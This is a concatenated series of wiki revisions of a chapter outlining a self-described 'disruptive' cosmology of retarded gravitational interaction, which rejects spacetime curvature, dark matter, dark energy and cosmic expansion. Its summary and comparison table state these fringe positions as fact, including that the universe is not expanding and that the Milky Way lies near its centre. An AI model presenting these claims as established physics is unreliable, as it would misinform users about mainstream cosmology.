{c}</math>. === The mathematical core === For the mathematical formulation, the gravitational potential can be substituted into the wave equation: :<math>\square \Phi = \left( \frac {1} {c^2} \frac {\partial^2} {\partial t^2} - \nabla^2 \right) \Phi = 4\pi G \rho</math> The solution to this wave equation is the retarded potential: :<math>\Phi (\vec {r}, t) = -G \iiint \frac {\rho (\vec {r}', t - |\vec {r} - \vec {r}'| / c)} {|\vec {r} - \vec {r}'|} d^3r'</math> In a universe with massive objects, gravity never acts instantaneously but always depends on the mass’s past position. This creates a phase shift between mass and force, as well as an attenuation of the retarded gravitational potentials. === Cosmological mechanisms === ==== The apparent expansion ==== In general relativity, redshift is a stretching of spacetime. In the cosmology of retarded interaction, it is the result of a dynamic retardation in both time and space. Since the gravitational effect arrives retarded, the force of mass lags behind. In a system consisting of many particles, this leads to a continuous kinematic shift in their trajectories. When we receive light from distant sources, we do not observe an expansion of spacetime, but rather the cumulative effect of the net gravitational potentials on the propagation of light (gravitational redshift) and the relativistic potentials due to the motion of the source (Doppler redshift). ==== A replacement for dark matter ==== In the standard model of cosmology respectively the Lambda cold dark matter model (Lambda-CDM model or ΛCDM model), the flat rotation curves of galaxies are explained by dark matter which is even changing over time. In the cosmology of retarded interaction, they result from the retarded effect of the baryonic matter accreted by the galaxies. The stars in the outer regions of a galaxy respond to the gravitational potential of the center as it was millions of years ago. The force does not decrease as <math display="inline">1 / r^2</math> because the time delay generates an additional force component, similar to the Liénard–Wiechert potentials in electrodynamics. ==== A replacement for dark energy ==== In the cosmology of retarded interaction, accelerated expansion is interpreted as a cosmic phenomenon. The retarded gravitational potentials of homogeneously distributed masses – located in a spherical shell outside the sphere’s surface on which a moving test mass rests – lead to an net outward acceleration of the test mass, since masses in front of the test mass cause stronger retarded forces than opposing masses that reach the test mass with attenuated retarded forces. Consequently, all mass points moving in the universe drift apart at an accelerating rate because the net acting forces, due to the retardation, cause a radially outward acceleration force. As a result, matter in the outer regions of the universe becomes increasingly dense, creating an inhomogeneous mass distribution (black shell) that continuously amplifies the effect of the retarded potentials. The cosmology of retarded interaction therefore does not align with metric expansion, it only presupposes a static pseudo-Euclidean space. If spacetime itself were expanding, this would call into question or modify the speed of light <math display="inline">c</math> as a constant parameter for the retardation <math display="inline">\Delta t = r/c</math>. The cosmology of retarded interaction would thus actively dispute the thesis of metric expansion and interpret it as an optical illusion. In the cosmology of retarded interaction, expansion is not necessarily linked to an event such as the Big Bang, but is rather a dynamic process. The retardation of gravity gives rise to inhomogeneity. When moving masses are far enough apart that the time delay <math display="inline">\Delta t</math> effectively weakens and phase-shifts the effect of gravity, the objects begin to drift due to their kinetic motion. The farther they drift, the larger <math display="inline">\Delta t</math> becomes, and the weaker the retarded forces from the opposite side from the universe become the expansion accelerates without the need for dark energy. ==== The universe as a black hole ==== In general relativity, a black hole is a region of extreme spatial curvature. However, since cosmology of retarded interaction rejects spatial curvature and replaces it with retarded potentials, the concept of a black hole would have to be radically redefined. In cosmology of retarded interaction, a black hole would not be a geometric point, but rather a region of high mass density in which the gravitational potentials are so strong that the escape velocity <math display="inline">v_e \geq c</math> is reached. If our universe were the interior of such an object, we would find ourselves in a region where the retarded potentials are dominated by a massive external source which is located in the out regions of the universe. This region can be interpreted as a black shell. Since cosmology of retarded interaction is based on classical potentials, there is no mathematical necessity for a singularity. The retarded effect smooths out extreme gradients over time. A universe-black-hole in cosmology of retarded interaction would thus be more like a gigantic cluster of baryonic matter, within which we find ourselves. The observed physics would then be the superposition of the local forces and the global, retarded pull of the surrounding mass in the black shell. === Comparison with the standard model of cosmology === The cosmology of retarded interaction does not rely on a priori hypotheses or ad hoc assumptions, which are taken for granted in the standard model of cosmology. {| class="wikitable" |+ Comparision standard model of cosmology (ΛCDM) and cosmology of retarded interaction (CRI) |- ! Concept !! Standard model of cosmology (GR / ΛCDM) !! Cosmology of retarded interaction (CRI) |- | Principle of equivalence || Ad hoc assumption, general theory of relativity || No, gravitation is a force |- | Homogeneity || Ad hoc assumption, cosmological principle || No homogeneity, higher mass and energy densities in outer regions of a kinematic universe |- | Isotropy || Ad hoc assumption, cosmological principle || Only from the centre of a kinematic universe |- | Copernican principle || Ad hoc assumption || Milky Way in Local Group near the centre of a kinematic universe |- | Dark matter || Ad hoc assumption of non-baryonic particles || Effect of retarded gravitational potentials |- | Dark energy || Ad hoc assumption of a cosmological constant Λ || Effect of retarded gravitational potentials |- | Rotation curves of spiral galaxies || Ad hoc assumption of dark matter || Retarded gravitational potentials of accreted baryonic matter |- | High-redshift objects || Ad hoc assumption of expanding spacetime || Gravitational redshift due to baryonic matter in black shell |- | Geometry || Dynamic differential geometry|| Static pseudo-Euclidean geometry |- | Spacetime || Curved spacetime || Minkowski spacetime |} === Summary === The universe is not expanding, and it is not curved. It is a system of masses distributed in flat space, whose mutual attraction is so time-delayed that the resulting trajectories and light signals create the illusion of an expanding geometry that is explained by dark matter and dark energy in the standard model of cosmology. The cosmology of retarded interaction consistently adheres to physical axioms (classical, relativistic, and retarded potentials). It dispenses with the geometric interpretation (no spatial curvature, no event horizon in the sense of general relativity) and regards everything as the result of forces, masses, and time delays. The dark components and spatial curvature are merely mathematical artifacts that arise when one attempts to describe the retarded force action using differential geometry. The universe is not viewed as a geometric black hole in the sense of general relativity, but rather as a massive system whose internal dynamics are governed by retarded potentials. Cosmology of retarded interaction is based solely on the view that the universe is a classical mechanical system with retardation. By introducing differential-geometric paradigms such as the curvature or stretching of spacetime, one departs from the disruptive paradigm of cosmology of retarded interaction and returns to general relativity. 04gql4wv9xbnrh21f7kuw06sg8465wm 4670710 4670709 2026-09-17T20:36:27Z Bautsch 630029 /* Summary */ massive and inhomogeneous 4670710 wikitext text/x-wiki <noinclude> {{Chapter navigation|Gravitational redshift|Conclusion}} </noinclude> == Cosmology of retarded interaction == Modern astrophysics is based on the general theory of relativity (GR) because it has been confirmed by experiments such as the perihelion precession of Mercury or the detection of gravitational waves. A new model must prove that it also correctly describes all the effects that the general theory of relativity explains geometrically. To devise a disruptive cosmology that relies solely on classical, relativistic, and retarded gravitational potentials and dispenses with all ad hoc and a priori hypotheses – such as the equivalence principle of general relativity, cosmological constants, dark matter, dark energy, homogeneity, or isotropy – we must return to a dynamic field approach. To this end, the differential geometry required for general relativity can be replaced by a model that relies on pseudo-Euclidean geometry in Minkowski space. The central challenge is that classical Newtonian gravity acts instantaneously. To construct a consistent cosmology, retarded gravitational potentials can be introduced. This leads to an inherent time dependence and dynamics of the universe without the need to postulate an expansion of spacetime. In what follows, a draft of the '''cosmology of retarded interaction (CRI)''' is outlined. === The axioms of retarded interaction === Established physics is based on three pillars, which are used to build the cosmology of retarded interaction: # '''Classical mechanics:''' The force <math display="inline">F = m \cdot a</math> as the basis of the acceleration <math display="inline">a</math> of a mass <math display="inline">m</math> . # '''Relativistic kinematics:''' time dilation and length contraction according to the special theory of relativity, but without the curvature of spacetime. # '''Retarded gravitation:''' The gravitational effect propagates at the speed of light <math display="inline">c</math>. The potential <math display="inline">\Phi</math> at a point <math display="inline">\mathbf {r}</math> at time <math display="inline">t</math> depends on the state of the source at time <math display="inline">t - \Delta t</math>, where <math display="inline">\Delta t = \frac {r} {c}</math>. === The mathematical core === For the mathematical formulation, the gravitational potential can be substituted into the wave equation: :<math>\square \Phi = \left( \frac {1} {c^2} \frac {\partial^2} {\partial t^2} - \nabla^2 \right) \Phi = 4\pi G \rho</math> The solution to this wave equation is the retarded potential: :<math>\Phi (\vec {r}, t) = -G \iiint \frac {\rho (\vec {r}', t - |\vec {r} - \vec {r}'| / c)} {|\vec {r} - \vec {r}'|} d^3r'</math> In a universe with massive objects, gravity never acts instantaneously but always depends on the mass’s past position. This creates a phase shift between mass and force, as well as an attenuation of the retarded gravitational potentials. === Cosmological mechanisms === ==== The apparent expansion ==== In general relativity, redshift is a stretching of spacetime. In the cosmology of retarded interaction, it is the result of a dynamic retardation in both time and space. Since the gravitational effect arrives retarded, the force of mass lags behind. In a system consisting of many particles, this leads to a continuous kinematic shift in their trajectories. When we receive light from distant sources, we do not observe an expansion of spacetime, but rather the cumulative effect of the net gravitational potentials on the propagation of light (gravitational redshift) and the relativistic potentials due to the motion of the source (Doppler redshift). ==== A replacement for dark matter ==== In the standard model of cosmology respectively the Lambda cold dark matter model (Lambda-CDM model or ΛCDM model), the flat rotation curves of galaxies are explained by dark matter which is even changing over time. In the cosmology of retarded interaction, they result from the retarded effect of the baryonic matter accreted by the galaxies. The stars in the outer regions of a galaxy respond to the gravitational potential of the center as it was millions of years ago. The force does not decrease as <math display="inline">1 / r^2</math> because the time delay generates an additional force component, similar to the Liénard–Wiechert potentials in electrodynamics. ==== A replacement for dark energy ==== In the cosmology of retarded interaction, accelerated expansion is interpreted as a cosmic phenomenon. The retarded gravitational potentials of homogeneously distributed masses – located in a spherical shell outside the sphere’s surface on which a moving test mass rests – lead to an net outward acceleration of the test mass, since masses in front of the test mass cause stronger retarded forces than opposing masses that reach the test mass with attenuated retarded forces. Consequently, all mass points moving in the universe drift apart at an accelerating rate because the net acting forces, due to the retardation, cause a radially outward acceleration force. As a result, matter in the outer regions of the universe becomes increasingly dense, creating an inhomogeneous mass distribution (black shell) that continuously amplifies the effect of the retarded potentials. The cosmology of retarded interaction therefore does not align with metric expansion, it only presupposes a static pseudo-Euclidean space. If spacetime itself were expanding, this would call into question or modify the speed of light <math display="inline">c</math> as a constant parameter for the retardation <math display="inline">\Delta t = r/c</math>. The cosmology of retarded interaction would thus actively dispute the thesis of metric expansion and interpret it as an optical illusion. In the cosmology of retarded interaction, expansion is not necessarily linked to an event such as the Big Bang, but is rather a dynamic process. The retardation of gravity gives rise to inhomogeneity. When moving masses are far enough apart that the time delay <math display="inline">\Delta t</math> effectively weakens and phase-shifts the effect of gravity, the objects begin to drift due to their kinetic motion. The farther they drift, the larger <math display="inline">\Delta t</math> becomes, and the weaker the retarded forces from the opposite side from the universe become the expansion accelerates without the need for dark energy. ==== The universe as a black hole ==== In general relativity, a black hole is a region of extreme spatial curvature. However, since cosmology of retarded interaction rejects spatial curvature and replaces it with retarded potentials, the concept of a black hole would have to be radically redefined. In cosmology of retarded interaction, a black hole would not be a geometric point, but rather a region of high mass density in which the gravitational potentials are so strong that the escape velocity <math display="inline">v_e \geq c</math> is reached. If our universe were the interior of such an object, we would find ourselves in a region where the retarded potentials are dominated by a massive external source which is located in the out regions of the universe. This region can be interpreted as a black shell. Since cosmology of retarded interaction is based on classical potentials, there is no mathematical necessity for a singularity. The retarded effect smooths out extreme gradients over time. A universe-black-hole in cosmology of retarded interaction would thus be more like a gigantic cluster of baryonic matter, within which we find ourselves. The observed physics would then be the superposition of the local forces and the global, retarded pull of the surrounding mass in the black shell. === Comparison with the standard model of cosmology === The cosmology of retarded interaction does not rely on a priori hypotheses or ad hoc assumptions, which are taken for granted in the standard model of cosmology. {| class="wikitable" |+ Comparision standard model of cosmology (ΛCDM) and cosmology of retarded interaction (CRI) |- ! Concept !! Standard model of cosmology (GR / ΛCDM) !! Cosmology of retarded interaction (CRI) |- | Principle of equivalence || Ad hoc assumption, general theory of relativity || No, gravitation is a force |- | Homogeneity || Ad hoc assumption, cosmological principle || No homogeneity, higher mass and energy densities in outer regions of a kinematic universe |- | Isotropy || Ad hoc assumption, cosmological principle || Only from the centre of a kinematic universe |- | Copernican principle || Ad hoc assumption || Milky Way in Local Group near the centre of a kinematic universe |- | Dark matter || Ad hoc assumption of non-baryonic particles || Effect of retarded gravitational potentials |- | Dark energy || Ad hoc assumption of a cosmological constant Λ || Effect of retarded gravitational potentials |- | Rotation curves of spiral galaxies || Ad hoc assumption of dark matter || Retarded gravitational potentials of accreted baryonic matter |- | High-redshift objects || Ad hoc assumption of expanding spacetime || Gravitational redshift due to baryonic matter in black shell |- | Geometry || Dynamic differential geometry|| Static pseudo-Euclidean geometry |- | Spacetime || Curved spacetime || Minkowski spacetime |} === Summary === The universe is not expanding, and it is not curved. It is a system of masses distributed in flat space, whose mutual attraction is so time-delayed that the resulting trajectories and light signals create the illusion of an expanding geometry that is explained by dark matter and dark energy in the standard model of cosmology. The cosmology of retarded interaction consistently adheres to physical axioms (classical, relativistic, and retarded potentials). It dispenses with the geometric interpretation (no spatial curvature, no event horizon in the sense of general relativity) and regards everything as the result of forces, masses, and time delays. The dark components and spatial curvature are merely mathematical artifacts that arise when one attempts to describe the retarded force action using differential geometry. The universe is not viewed as a geometric black hole in the sense of general relativity, but rather as a massive and inhomogeneous system whose internal dynamics are governed by retarded potentials. Cosmology of retarded interaction is based solely on the view that the universe is a classical mechanical system with retardation. By introducing differential-geometric paradigms such as the curvature or stretching of spacetime, one departs from the disruptive paradigm of cosmology of retarded interaction and returns to general relativity. tbq5quz0r9v3zt1mpg7f1scdgxankia 4670712 4670710 2026-09-17T20:56:57Z Bautsch 630029 /* Comparison with the standard model of cosmology */ spatial evolution 4670712 wikitext text/x-wiki <noinclude> {{Chapter navigation|Gravitational redshift|Conclusion}} </noinclude> == Cosmology of retarded interaction == Modern astrophysics is based on the general theory of relativity (GR) because it has been confirmed by experiments such as the perihelion precession of Mercury or the detection of gravitational waves. A new model must prove that it also correctly describes all the effects that the general theory of relativity explains geometrically. To devise a disruptive cosmology that relies solely on classical, relativistic, and retarded gravitational potentials and dispenses with all ad hoc and a priori hypotheses – such as the equivalence principle of general relativity, cosmological constants, dark matter, dark energy, homogeneity, or isotropy – we must return to a dynamic field approach. To this end, the differential geometry required for general relativity can be replaced by a model that relies on pseudo-Euclidean geometry in Minkowski space. The central challenge is that classical Newtonian gravity acts instantaneously. To construct a consistent cosmology, retarded gravitational potentials can be introduced. This leads to an inherent time dependence and dynamics of the universe without the need to postulate an expansion of spacetime. In what follows, a draft of the '''cosmology of retarded interaction (CRI)''' is outlined. === The axioms of retarded interaction === Established physics is based on three pillars, which are used to build the cosmology of retarded interaction: # '''Classical mechanics:''' The force <math display="inline">F = m \cdot a</math> as the basis of the acceleration <math display="inline">a</math> of a mass <math display="inline">m</math> . # '''Relativistic kinematics:''' time dilation and length contraction according to the special theory of relativity, but without the curvature of spacetime. # '''Retarded gravitation:''' The gravitational effect propagates at the speed of light <math display="inline">c</math>. The potential <math display="inline">\Phi</math> at a point <math display="inline">\mathbf {r}</math> at time <math display="inline">t</math> depends on the state of the source at time <math display="inline">t - \Delta t</math>, where <math display="inline">\Delta t = \frac {r} {c}</math>. === The mathematical core === For the mathematical formulation, the gravitational potential can be substituted into the wave equation: :<math>\square \Phi = \left( \frac {1} {c^2} \frac {\partial^2} {\partial t^2} - \nabla^2 \right) \Phi = 4\pi G \rho</math> The solution to this wave equation is the retarded potential: :<math>\Phi (\vec {r}, t) = -G \iiint \frac {\rho (\vec {r}', t - |\vec {r} - \vec {r}'| / c)} {|\vec {r} - \vec {r}'|} d^3r'</math> In a universe with massive objects, gravity never acts instantaneously but always depends on the mass’s past position. This creates a phase shift between mass and force, as well as an attenuation of the retarded gravitational potentials. === Cosmological mechanisms === ==== The apparent expansion ==== In general relativity, redshift is a stretching of spacetime. In the cosmology of retarded interaction, it is the result of a dynamic retardation in both time and space. Since the gravitational effect arrives retarded, the force of mass lags behind. In a system consisting of many particles, this leads to a continuous kinematic shift in their trajectories. When we receive light from distant sources, we do not observe an expansion of spacetime, but rather the cumulative effect of the net gravitational potentials on the propagation of light (gravitational redshift) and the relativistic potentials due to the motion of the source (Doppler redshift). ==== A replacement for dark matter ==== In the standard model of cosmology respectively the Lambda cold dark matter model (Lambda-CDM model or ΛCDM model), the flat rotation curves of galaxies are explained by dark matter which is even changing over time. In the cosmology of retarded interaction, they result from the retarded effect of the baryonic matter accreted by the galaxies. The stars in the outer regions of a galaxy respond to the gravitational potential of the center as it was millions of years ago. The force does not decrease as <math display="inline">1 / r^2</math> because the time delay generates an additional force component, similar to the Liénard–Wiechert potentials in electrodynamics. ==== A replacement for dark energy ==== In the cosmology of retarded interaction, accelerated expansion is interpreted as a cosmic phenomenon. The retarded gravitational potentials of homogeneously distributed masses – located in a spherical shell outside the sphere’s surface on which a moving test mass rests – lead to an net outward acceleration of the test mass, since masses in front of the test mass cause stronger retarded forces than opposing masses that reach the test mass with attenuated retarded forces. Consequently, all mass points moving in the universe drift apart at an accelerating rate because the net acting forces, due to the retardation, cause a radially outward acceleration force. As a result, matter in the outer regions of the universe becomes increasingly dense, creating an inhomogeneous mass distribution (black shell) that continuously amplifies the effect of the retarded potentials. The cosmology of retarded interaction therefore does not align with metric expansion, it only presupposes a static pseudo-Euclidean space. If spacetime itself were expanding, this would call into question or modify the speed of light <math display="inline">c</math> as a constant parameter for the retardation <math display="inline">\Delta t = r/c</math>. The cosmology of retarded interaction would thus actively dispute the thesis of metric expansion and interpret it as an optical illusion. In the cosmology of retarded interaction, expansion is not necessarily linked to an event such as the Big Bang, but is rather a dynamic process. The retardation of gravity gives rise to inhomogeneity. When moving masses are far enough apart that the time delay <math display="inline">\Delta t</math> effectively weakens and phase-shifts the effect of gravity, the objects begin to drift due to their kinetic motion. The farther they drift, the larger <math display="inline">\Delta t</math> becomes, and the weaker the retarded forces from the opposite side from the universe become the expansion accelerates without the need for dark energy. ==== The universe as a black hole ==== In general relativity, a black hole is a region of extreme spatial curvature. However, since cosmology of retarded interaction rejects spatial curvature and replaces it with retarded potentials, the concept of a black hole would have to be radically redefined. In cosmology of retarded interaction, a black hole would not be a geometric point, but rather a region of high mass density in which the gravitational potentials are so strong that the escape velocity <math display="inline">v_e \geq c</math> is reached. If our universe were the interior of such an object, we would find ourselves in a region where the retarded potentials are dominated by a massive external source which is located in the out regions of the universe. This region can be interpreted as a black shell. Since cosmology of retarded interaction is based on classical potentials, there is no mathematical necessity for a singularity. The retarded effect smooths out extreme gradients over time. A universe-black-hole in cosmology of retarded interaction would thus be more like a gigantic cluster of baryonic matter, within which we find ourselves. The observed physics would then be the superposition of the local forces and the global, retarded pull of the surrounding mass in the black shell. === Comparison with the standard model of cosmology === The cosmology of retarded interaction does not rely on a priori hypotheses or ad hoc assumptions, which are taken for granted in the standard model of cosmology. {| class="wikitable" |+ Comparision standard model of cosmology (ΛCDM) and cosmology of retarded interaction (CRI) |- ! Concept !! Standard model of cosmology (GR / ΛCDM) !! Cosmology of retarded interaction (CRI) |- | Principle of equivalence || Ad hoc assumption, general theory of relativity || No, gravitation is a force |- | Homogeneity || Ad hoc assumption, cosmological principle || No homogeneity, higher mass and energy densities in outer regions of a kinematic universe |- | Isotropy || Ad hoc assumption, cosmological principle || Only from the centre of a kinematic universe |- | Copernican principle || Ad hoc assumption || Milky Way in Local Group near the centre of a kinematic universe |- | Dark matter || Ad hoc assumption of non-baryonic particles || Effect of retarded gravitational potentials |- | Dark energy || Ad hoc assumption of a cosmological constant Λ || Effect of retarded gravitational potentials |- | Rotation curves of spiral galaxies || Ad hoc assumption of dark matter || Retarded gravitational potentials of accreted baryonic matter |- | High-redshift objects || Ad hoc assumption of cosmological redshift by expanding spacetime || Gravitational redshift due to baryonic matter in black shell |- | Geometry || Dynamic differential geometry|| Static pseudo-Euclidean geometry |- | Spacetime || Curved spacetime || Minkowski spacetime |- | Spatial evolution of particle horizon || Accelerated expansion with superluminal speed || Expansion with speed of light |- | Spatial evolution of event horizon || Accelerated expansion with superluminal speed || Expansion of inner surface of massive black shell with sub-light speed |} === Summary === The universe is not expanding, and it is not curved. It is a system of masses distributed in flat space, whose mutual attraction is so time-delayed that the resulting trajectories and light signals create the illusion of an expanding geometry that is explained by dark matter and dark energy in the standard model of cosmology. The cosmology of retarded interaction consistently adheres to physical axioms (classical, relativistic, and retarded potentials). It dispenses with the geometric interpretation (no spatial curvature, no event horizon in the sense of general relativity) and regards everything as the result of forces, masses, and time delays. The dark components and spatial curvature are merely mathematical artifacts that arise when one attempts to describe the retarded force action using differential geometry. The universe is not viewed as a geometric black hole in the sense of general relativity, but rather as a massive and inhomogeneous system whose internal dynamics are governed by retarded potentials. Cosmology of retarded interaction is based solely on the view that the universe is a classical mechanical system with retardation. By introducing differential-geometric paradigms such as the curvature or stretching of spacetime, one departs from the disruptive paradigm of cosmology of retarded interaction and returns to general relativity. bycvcuf45npon7d4q5wk6tg82gyh0hn 4670713 4670712 2026-09-17T21:06:18Z Bautsch 630029 /* Comparison with the standard model of cosmology */ Gravitational potential within universe 4670713 wikitext text/x-wiki <noinclude> {{Chapter navigation|Gravitational redshift|Conclusion}} </noinclude> == Cosmology of retarded interaction == Modern astrophysics is based on the general theory of relativity (GR) because it has been confirmed by experiments such as the perihelion precession of Mercury or the detection of gravitational waves. A new model must prove that it also correctly describes all the effects that the general theory of relativity explains geometrically. To devise a disruptive cosmology that relies solely on classical, relativistic, and retarded gravitational potentials and dispenses with all ad hoc and a priori hypotheses – such as the equivalence principle of general relativity, cosmological constants, dark matter, dark energy, homogeneity, or isotropy – we must return to a dynamic field approach. To this end, the differential geometry required for general relativity can be replaced by a model that relies on pseudo-Euclidean geometry in Minkowski space. The central challenge is that classical Newtonian gravity acts instantaneously. To construct a consistent cosmology, retarded gravitational potentials can be introduced. This leads to an inherent time dependence and dynamics of the universe without the need to postulate an expansion of spacetime. In what follows, a draft of the '''cosmology of retarded interaction (CRI)''' is outlined. === The axioms of retarded interaction === Established physics is based on three pillars, which are used to build the cosmology of retarded interaction: # '''Classical mechanics:''' The force <math display="inline">F = m \cdot a</math> as the basis of the acceleration <math display="inline">a</math> of a mass <math display="inline">m</math> . # '''Relativistic kinematics:''' time dilation and length contraction according to the special theory of relativity, but without the curvature of spacetime. # '''Retarded gravitation:''' The gravitational effect propagates at the speed of light <math display="inline">c</math>. The potential <math display="inline">\Phi</math> at a point <math display="inline">\mathbf {r}</math> at time <math display="inline">t</math> depends on the state of the source at time <math display="inline">t - \Delta t</math>, where <math display="inline">\Delta t = \frac {r} {c}</math>. === The mathematical core === For the mathematical formulation, the gravitational potential can be substituted into the wave equation: :<math>\square \Phi = \left( \frac {1} {c^2} \frac {\partial^2} {\partial t^2} - \nabla^2 \right) \Phi = 4\pi G \rho</math> The solution to this wave equation is the retarded potential: :<math>\Phi (\vec {r}, t) = -G \iiint \frac {\rho (\vec {r}', t - |\vec {r} - \vec {r}'| / c)} {|\vec {r} - \vec {r}'|} d^3r'</math> In a universe with massive objects, gravity never acts instantaneously but always depends on the mass’s past position. This creates a phase shift between mass and force, as well as an attenuation of the retarded gravitational potentials. === Cosmological mechanisms === ==== The apparent expansion ==== In general relativity, redshift is a stretching of spacetime. In the cosmology of retarded interaction, it is the result of a dynamic retardation in both time and space. Since the gravitational effect arrives retarded, the force of mass lags behind. In a system consisting of many particles, this leads to a continuous kinematic shift in their trajectories. When we receive light from distant sources, we do not observe an expansion of spacetime, but rather the cumulative effect of the net gravitational potentials on the propagation of light (gravitational redshift) and the relativistic potentials due to the motion of the source (Doppler redshift). ==== A replacement for dark matter ==== In the standard model of cosmology respectively the Lambda cold dark matter model (Lambda-CDM model or ΛCDM model), the flat rotation curves of galaxies are explained by dark matter which is even changing over time. In the cosmology of retarded interaction, they result from the retarded effect of the baryonic matter accreted by the galaxies. The stars in the outer regions of a galaxy respond to the gravitational potential of the center as it was millions of years ago. The force does not decrease as <math display="inline">1 / r^2</math> because the time delay generates an additional force component, similar to the Liénard–Wiechert potentials in electrodynamics. ==== A replacement for dark energy ==== In the cosmology of retarded interaction, accelerated expansion is interpreted as a cosmic phenomenon. The retarded gravitational potentials of homogeneously distributed masses – located in a spherical shell outside the sphere’s surface on which a moving test mass rests – lead to an net outward acceleration of the test mass, since masses in front of the test mass cause stronger retarded forces than opposing masses that reach the test mass with attenuated retarded forces. Consequently, all mass points moving in the universe drift apart at an accelerating rate because the net acting forces, due to the retardation, cause a radially outward acceleration force. As a result, matter in the outer regions of the universe becomes increasingly dense, creating an inhomogeneous mass distribution (black shell) that continuously amplifies the effect of the retarded potentials. The cosmology of retarded interaction therefore does not align with metric expansion, it only presupposes a static pseudo-Euclidean space. If spacetime itself were expanding, this would call into question or modify the speed of light <math display="inline">c</math> as a constant parameter for the retardation <math display="inline">\Delta t = r/c</math>. The cosmology of retarded interaction would thus actively dispute the thesis of metric expansion and interpret it as an optical illusion. In the cosmology of retarded interaction, expansion is not necessarily linked to an event such as the Big Bang, but is rather a dynamic process. The retardation of gravity gives rise to inhomogeneity. When moving masses are far enough apart that the time delay <math display="inline">\Delta t</math> effectively weakens and phase-shifts the effect of gravity, the objects begin to drift due to their kinetic motion. The farther they drift, the larger <math display="inline">\Delta t</math> becomes, and the weaker the retarded forces from the opposite side from the universe become the expansion accelerates without the need for dark energy. ==== The universe as a black hole ==== In general relativity, a black hole is a region of extreme spatial curvature. However, since cosmology of retarded interaction rejects spatial curvature and replaces it with retarded potentials, the concept of a black hole would have to be radically redefined. In cosmology of retarded interaction, a black hole would not be a geometric point, but rather a region of high mass density in which the gravitational potentials are so strong that the escape velocity <math display="inline">v_e \geq c</math> is reached. If our universe were the interior of such an object, we would find ourselves in a region where the retarded potentials are dominated by a massive external source which is located in the out regions of the universe. This region can be interpreted as a black shell. Since cosmology of retarded interaction is based on classical potentials, there is no mathematical necessity for a singularity. The retarded effect smooths out extreme gradients over time. A universe-black-hole in cosmology of retarded interaction would thus be more like a gigantic cluster of baryonic matter, within which we find ourselves. The observed physics would then be the superposition of the local forces and the global, retarded pull of the surrounding mass in the black shell. === Comparison with the standard model of cosmology === The cosmology of retarded interaction does not rely on a priori hypotheses or ad hoc assumptions, which are taken for granted in the standard model of cosmology. {| class="wikitable" |+ Comparision standard model of cosmology (ΛCDM) and cosmology of retarded interaction (CRI) |- ! Concept !! Standard model of cosmology (GR / ΛCDM) !! Cosmology of retarded interaction (CRI) |- | Principle of equivalence || Ad hoc assumption, general theory of relativity || No, gravitation is a force |- | Homogeneity || Ad hoc assumption, cosmological principle || No homogeneity, higher mass and energy densities in outer regions of a kinematic universe |- | Isotropy || Ad hoc assumption, cosmological principle || Only from the centre of a kinematic universe |- | Copernican principle || Ad hoc assumption || Milky Way in Local Group near the centre of a kinematic universe |- | Dark matter || Ad hoc assumption of non-baryonic particles || Effect of retarded gravitational potentials |- | Dark energy || Ad hoc assumption of a cosmological constant Λ || Effect of retarded gravitational potentials |- | Rotation curves of spiral galaxies || Ad hoc assumption of dark matter || Retarded gravitational potentials of accreted baryonic matter |- | High-redshift objects || Ad hoc assumption of cosmological redshift by expanding spacetime || Gravitational redshift due to baryonic matter in black shell |- | Geometry || Dynamic differential geometry|| Static pseudo-Euclidean geometry |- | Spacetime || Curved spacetime || Minkowski spacetime |- | Spatial evolution of particle horizon || Accelerated expansion with superluminal speed || Expansion with speed of light |- | Spatial evolution of event horizon || Accelerated expansion with superluminal speed || Expansion of inner surface of massive black shell with sub-light speed |- | Gravitational potential within universe || Constant || Decreasing with distance to centre |} === Summary === The universe is not expanding, and it is not curved. It is a system of masses distributed in flat space, whose mutual attraction is so time-delayed that the resulting trajectories and light signals create the illusion of an expanding geometry that is explained by dark matter and dark energy in the standard model of cosmology. The cosmology of retarded interaction consistently adheres to physical axioms (classical, relativistic, and retarded potentials). It dispenses with the geometric interpretation (no spatial curvature, no event horizon in the sense of general relativity) and regards everything as the result of forces, masses, and time delays. The dark components and spatial curvature are merely mathematical artifacts that arise when one attempts to describe the retarded force action using differential geometry. The universe is not viewed as a geometric black hole in the sense of general relativity, but rather as a massive and inhomogeneous system whose internal dynamics are governed by retarded potentials. Cosmology of retarded interaction is based solely on the view that the universe is a classical mechanical system with retardation. By introducing differential-geometric paradigms such as the curvature or stretching of spacetime, one departs from the disruptive paradigm of cosmology of retarded interaction and returns to general relativity. 4msq7oidcs0jvckcuzb28fkgee2qp8t 4670719 4670713 2026-09-17T22:01:09Z Bautsch 630029 /* Comparison with the standard model of cosmology */ diagram 4670719 wikitext text/x-wiki <noinclude> {{Chapter navigation|Gravitational redshift|Conclusion}} </noinclude> == Cosmology of retarded interaction == Modern astrophysics is based on the general theory of relativity (GR) because it has been confirmed by experiments such as the perihelion precession of Mercury or the detection of gravitational waves. A new model must prove that it also correctly describes all the effects that the general theory of relativity explains geometrically. To devise a disruptive cosmology that relies solely on classical, relativistic, and retarded gravitational potentials and dispenses with all ad hoc and a priori hypotheses – such as the equivalence principle of general relativity, cosmological constants, dark matter, dark energy, homogeneity, or isotropy – we must return to a dynamic field approach. To this end, the differential geometry required for general relativity can be replaced by a model that relies on pseudo-Euclidean geometry in Minkowski space. The central challenge is that classical Newtonian gravity acts instantaneously. To construct a consistent cosmology, retarded gravitational potentials can be introduced. This leads to an inherent time dependence and dynamics of the universe without the need to postulate an expansion of spacetime. In what follows, a draft of the '''cosmology of retarded interaction (CRI)''' is outlined. === The axioms of retarded interaction === Established physics is based on three pillars, which are used to build the cosmology of retarded interaction: # '''Classical mechanics:''' The force <math display="inline">F = m \cdot a</math> as the basis of the acceleration <math display="inline">a</math> of a mass <math display="inline">m</math> . # '''Relativistic kinematics:''' time dilation and length contraction according to the special theory of relativity, but without the curvature of spacetime. # '''Retarded gravitation:''' The gravitational effect propagates at the speed of light <math display="inline">c</math>. The potential <math display="inline">\Phi</math> at a point <math display="inline">\mathbf {r}</math> at time <math display="inline">t</math> depends on the state of the source at time <math display="inline">t - \Delta t</math>, where <math display="inline">\Delta t = \frac {r} {c}</math>. === The mathematical core === For the mathematical formulation, the gravitational potential can be substituted into the wave equation: :<math>\square \Phi = \left( \frac {1} {c^2} \frac {\partial^2} {\partial t^2} - \nabla^2 \right) \Phi = 4\pi G \rho</math> The solution to this wave equation is the retarded potential: :<math>\Phi (\vec {r}, t) = -G \iiint \frac {\rho (\vec {r}', t - |\vec {r} - \vec {r}'| / c)} {|\vec {r} - \vec {r}'|} d^3r'</math> In a universe with massive objects, gravity never acts instantaneously but always depends on the mass’s past position. This creates a phase shift between mass and force, as well as an attenuation of the retarded gravitational potentials. === 